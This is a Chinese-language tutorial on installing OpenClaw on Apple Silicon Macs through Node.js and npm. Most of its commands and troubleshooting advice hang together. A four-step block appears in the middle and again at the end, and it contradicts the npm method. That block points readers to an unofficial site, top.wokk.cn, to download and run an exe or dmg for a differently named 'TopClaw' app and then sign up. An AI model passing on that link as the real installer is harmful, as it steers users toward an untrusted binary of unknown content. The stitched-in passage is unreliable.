ARTICLE · 1083378

Apple芯片Mac怎么装Openclaw小龙虾?保姆级教程

发布时间：2026-09-27 00:59:59 最近访问：2026-09-27 00:59:21

Apple芯片Mac怎么装Openclaw小龙虾？保姆级教程OpenClaw 在社区里常被叫成“小龙虾”，名字很萌，但它本质是一个跑在本地的开源助手项目。很多用 Apple 芯片 Mac 的朋友会担心：M1、M2、M3、M4 能不能装？答案是能，而且大多数情况下比 Intel Mac 还省心。核心只有两件事：让终端跑在原生 arm64 环境里，把 Node.js 和依赖装对。下面按我自己的踩坑顺序，给你一份保姆级流程。

装之前先把环境理顺

先别急着复制安装命令。打开“终端”，输入 uname -m。如果返回 arm64，说明你已经在原生环境；如果返回 x86_64，大概率是终端被设置成了 Rosetta 模式。后面 npm 包容易装成 Intel 版本，启动时报架构错误。

确认芯片架构：uname -m 应为 arm64。

安装 Xcode 命令行工具：xcode-select --install，有些依赖需要编译。

安装 Homebrew。Apple 芯片默认路径是 /opt/homebrew，不要和旧 Intel 的 /usr/local 混用。

安装 Node.js 22 或更新版本。可以用 brew install node@22，也可以用 nvm 管理。

检查 Node 架构：node -p process.arch，应输出 arm64。

第一步：打开龙虾安装地址：https://top.wokk.cn

第二步：选择Windows10/11或macOS apple、intel芯片下载。

第三步：双击安装包（exe或者dmg文件）等待3分钟。

第四步：打开桌面TopClaw龙虾软件注册登录即可使用

个人建议：不要用 sudo npm install -g。权限问题看起来解决了，后面升级、卸载和守护进程都可能出幺蛾子。

我第一次在 M1 Mac 上装的时候，就是终端跑在 Rosetta 下，Homebrew 和 Node 一个是 arm64、一个是 x86_64，结果 npm 装完能看见命令，一启动就报错。后来把终端切回原生架构，重新装 Node，问题直接消失。

安装 OpenClaw 本体

环境确认没问题后，安装本体其实很快。打开原生终端，先确认 npm 可用：npm -v。然后执行全局安装：

安装最新版：npm install -g openclaw@latest

检查是否成功：openclaw --version

运行初始化向导：openclaw onboard --install-daemon

按提示完成基础配置，先选择本地运行或最小配置，模型服务可以后面再补。

如果提示 command not found: openclaw，通常是 npm 全局 bin 目录没进 PATH。先看 npm prefix -g 输出的路径，再把对应的 bin 目录加入 shell 配置。用 zsh 的话，改完 ~/.zshrc 后执行 source ~/.zshrc，重新开一个终端再试。

初始化时不要一口气把所有渠道和插件都打开。先把本地 gateway 跑通，再逐步加功能，排错会轻松很多。

启动、排错和我的几个小建议

初始化完成后，就可以启动服务了。常用命令是 openclaw gateway start，查看状态用 openclaw gateway status。如果它提供了本地控制台地址，先在浏览器里打开看看，确认服务真的在运行。配置和日志一般在用户目录下的 ~/.openclaw/ 里，遇到问题先看日志，不要盲目重装。

架构报错：回头检查 uname -m、node -p process.arch，确保都是 arm64。

权限报错：不要急着 sudo，优先用 nvm，或把 npm 全局目录改到用户目录。

端口占用：如果启动失败，看提示的端口是否被其他程序占用，换端口或停掉冲突服务。

升级问题：升级前先备份 ~/.openclaw/，再执行 npm update -g openclaw 或重新安装最新版。

卸载重来：npm uninstall -g openclaw，再按需删除 ~/.openclaw/，但记得先备份配置。

我的观点是，Apple 芯片 Mac 装 OpenClaw 最大的坑不是性能，而是环境混杂。只要你保证终端、Homebrew、Node、npm 全局包都在 arm64 体系里，后面基本就是按向导点下一步。实在卡住，就按“架构、版本、PATH、日志、配置目录”这个顺序排查，别一上来就怀疑项目不兼容。

最后再提醒一句：安装教程会随项目版本变化，命令细节以你本机 openclaw --help 和官方说明为准。先让小龙虾在本机稳稳跑起来，再去折腾更复杂的玩法，你会省下很多返工时间。

OpenClaw中文版龙虾安装地址：https://top.wokk.cn

相关学习资料